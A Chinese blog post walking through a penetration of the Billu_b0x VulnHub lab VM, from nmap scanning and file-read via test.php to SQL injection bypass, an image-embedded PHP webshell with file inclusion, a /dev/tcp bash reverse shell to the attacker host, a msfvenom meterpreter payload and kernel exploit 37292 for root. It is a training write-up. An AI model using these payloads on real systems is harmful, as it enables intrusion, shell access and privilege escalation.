VulnHub实战篇一:Billu_Box靶机渗透记录

0x00前言

由于2020年疫情原因,被迫宅家已有两个月之久,假期里边摸鱼边学习也浪费了不少时光。感叹光阴似箭的同时,临近毕业也加倍地感受到就业的压力。最近听了某位OSCP大佬的安利,决定开始拿VulnHub练练手。

本系列文章用来记录VulnHunb靶机的渗透过程,欢迎各位师傅讨论学习。

 

0x01靶机信息

靶机名称:Billu_b0x

下载地址:https://download.vulnhub.com/billu/

环境:ubuntu+LAMP

 

0x02信息搜集

主机探测

在VM里搭建好靶机环境后,需要进行主机探测发现目标,由于该环境为本地搭建,因此使用nmap探测攻击机网段发现目标(这里需要说明一下新手容易踩的坑,靶机系统一般是不需要登录的,靶机的发布者也不会放出系统的账号密码,我们需要做的就是渗透进目标主机最后提权直root权限)

服务与端口探测

已知本机ip为172.16.12.137,根据探测结果,目标靶机ip为172.16.12.138,继续探测目标开启的端口和服务,发现目标开启了ssh和http服务。

nmap 172.16.12.138 -p1-65535 -v

使用浏览器访问web页面,根据提示“show me your SQLI skills”推测首页存在sql注入,先不管他,继续扫描目录收集更多目标站点信息。

web目录扫描

使用DirBuster扫描目录,探测结果如下。到这里,我们就基本完成了前期的信息搜集工作。

 

 

0X03 getshell

step-1 尝试注入

首先返回web主页,尝试弱口令,无果,sqlmap未发现注入点,刚开始便陷入僵局……尝试寻找别的突破口。

admin' or 1=1#      1

1\        or 1=1#

step-2 获取源码

逐一访问之前探测出来的页面,在访问到test.php时,发现有趣的信息,尝试传参?file=/etc/passwd,没有响应,于是改为使用POST方法,成功将passwd文件下载下来。

接下来我们将扫出来的其他文件也读取出来,方便之后审计源码,获取更多有用信息。

通过审计c.php直接获得了以下信息:

mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

 

 

step-3 成功注入

拿到index.php的源码,找到关键逻辑部分。我们看到目标先将我们输入的单引号清除,之后再验证登录信息的正确性,比较特殊的是验证顺序是先密码再账号,怪不得之前的尝试一直失败Holy Shit!

知道源码之后绕过就很简单了,我们构造

uname=or 1=1#

pass=\

这样sql语句就被拼接成了

select * from auth where pass='\' and uname=' or 1=1#'

成功登录

step-4 上传+包含

简单的浏览该网页,发现存在文件上传入口,尝试上传shell,根据提示信息只允许上传图片文件,制作图片马尝试截断上传失败。

进一步审计刚刚下载下来的源码,可以发现show user模块存在文件包含。

将任意一张图片使用文本编辑器打开,在文件尾部写入一句话木马,上传成功后将图片包含进源码,修改请求包尝试执行任意命令,同时发现了敏感目录 phpmy(上传+包含)。

 

step4-反弹shell

 

读取 /var/www/phpmy/config.inc.php,获得root账号密码,拿去登录phpmyadmin失败,使用刚才从c.php中获得的账号登录成功,怀疑该账号为低权限。

 

尝试修改日志,into outfile 写shell均无权限,果然……

 

 

换一种思路,不如直接执行system指令反弹shell,kali攻击机 开启nc -lvp 6767监听端口,控制靶机执行bash

注:使用URL传参需要进行URL编码。

bash -i >& /dev/tcp/172.16.12.137/6767 0>&1

这里一直反弹失败,不明所以,后来问了师傅,将payload修改为echo+管道命令执行,反弹成功(迷惑x1)

echo 'bash -i >& /dev/tcp/172.16.12.137/6767 0>&1'|bash

0x04 提权

查看系统版本和内核,发现是3.13.0+ubuntu12.04.5的内核和系统,想到了经典的37292。在msf里搜索可用exp,将37292.c下载到本地。

向靶机写入一句话木马方便上传exp,无权限。查看当前用户各目录权限,发现uploaded_images和phpmy文件夹为高权限,可写入。进入uploaded_images写入木马,使用蚁剑或菜刀连接。

echo '<?php eval($_REQUEST["c"]);?>' >> icoming.php

 

上传37292.c

赋予权限

chmod 777 37292.c

编译

gcc 37292.c -o nbexp

运行,执行成功,然而提权失败,迷惑x2。

 

后来实在没有思路,改为使用php后门提权。注:此处参考了https://www.jianshu.com/p/2a7f61bbd862

生成php后门

msfvenom  -p  php/meterpreter/reverse_tcp LHOST=172.16.12.137 -f raw >/root/ctf/a.php

上传至靶机,配置好hander,访问a.php触发后门

 

再次执行exp,提权成功

 

0x05 收获

第一次使用vulnhub练手,总体来说收获还是很大的。首先是本体包含+文件上传结合的妙用在此次渗透中体现的淋漓尽致,再就是使用后门提权的方法。让人迷惑的是仍然不清楚为何不能直接bash反弹shell,蚁剑开启的shell为何提权失败?希望有懂的师傅可以指导一下。

提权结束后去网上看了其他师傅的方法,发现有些地方我做的有些多余,也没有尝试使用root连接ssh,之后的渗透测试学习中还需多加注意!

 

  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值